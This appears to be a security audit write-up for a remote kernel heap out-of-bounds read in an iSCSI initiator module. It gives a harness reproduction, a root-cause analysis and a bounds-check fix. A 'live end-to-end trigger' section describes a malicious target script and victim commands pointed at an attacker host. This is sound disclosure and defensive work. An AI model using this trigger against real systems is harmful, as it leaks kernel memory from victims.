# DF-1870 — Remote kernel heap OOB read in iscsi_r2t via attacker-controlled ddtl

## Verdict

**REPRODUCED** (info leak). The bug is real and present in master DEV at
`sys/dev/disk/iscsi/initiator/iscsi_subr.c:79-130`. The proposed fix compiles
cleanly into the loadable `iscsi_initiator.ko` and the harness proves the
leak drops to 0 with the fix.

## How to reproduce

This is iSCSI-initiator code in a **loadable module** (not in GENERIC).
Reproducing end-to-end requires an admin-configured iSCSI session against a
malicious target. Python is not available on the audit guest, so we
demonstrate the bug with a userspace harness that ports `iscsi_r2t()`
verbatim. The harness is a faithful port of the loop at lines 94-130 of
`iscsi_subr.c`, including the absent bounds check.

### Build
```
./build.sh
```
(cc -O2 -Wall -o harness harness.c)

### Run
```
./run.sh
```
(./harness 512 1048576 65536)

### Expected output

```
=== iscsi_r2t() WITHOUT fix ===
edtlen=512  ddtl=1048576  maxXmitDS=65536
[OOB READ CONFIRMED] attacker received 1048064 bytes PAST the 512-byte CCB buffer
first leaked byte past buffer = 0xDE (was 0xDE in our model of adjacent kernel heap)
VERDICT: iscsi_r2t() walks csio->data_ptr past its allocation -> kernel heap info leak.

=== iscsi_r2t() WITH proposed fix ===
[REJECTED by bounds check] bo=0 ddtl=1048576 edtl=512
VERDICT: bounds check rejects the over-long R2T; 0 bytes leaked past buffer.
```

## What the harness proves

`iscsi_r2t()` at `iscsi_subr.c:60-138` trusts `r2t->ddtl` (wire,
attacker-controlled) as the loop bound for walking `csio->data_ptr`
(`edtl` bytes allocated). The loop at line 94 (`while (bleft > 0)`) ships
Data-Out PDUs via `isc_qout()`, which in `isc_soc.c:164` sets
`md->m_data = pp->ds + off` directly from the unchecked `bp` — no copy.
With `edtlen=512` and `ddtl=1 MiB`, the initiator ships 1,048,064 bytes of
adjacent kernel heap to the attacker. The harness reproduces this exactly
and shows the proposed bounds check (`if (bo > edtl || ddtl > edtl - bo)
break;`) reduces the leak to 0.

## Live end-to-end trigger (reference only)

For a system that has Python and an admin-configured iSCSI session,
`evil_target.py` is a reference malicious iSCSI target that completes the
Login phase and then sends a single R2T with `bo=0, ddtl=0x100000`. Run it
on the attacker host, then on the victim:

```
iscontrol -dv -t 0 targetaddress=<attacker_ip> targetport=13260
dd if=/dev/zero of=/dev/da0 bs=512 count=1
```

The attacker's socket receives Data-Out PDUs whose payloads point into
kernel heap past the 512-byte write buffer.

## Fix

`fix.diff` is a git-apply-able unified diff against
`sys/dev/disk/iscsi/initiator/iscsi_subr.c`. It supersedes the finding
markdown's proposal (which referenced `bo` before its declaration).
Apply with `patch -p1 < fix.diff` from `/usr/src`. Then rebuild the
module: `cd sys/dev/disk/iscsi/initiator && make obj && make`.

Validation: see VERDICT.md §6 — patched module compiles cleanly (RC=0),
the new `>>> %s: bad R2T: bo=%u ddtl=%u edtl=%u` debug string is present
in the binary, and the harness shows 0 bytes leaked with the fix applied.
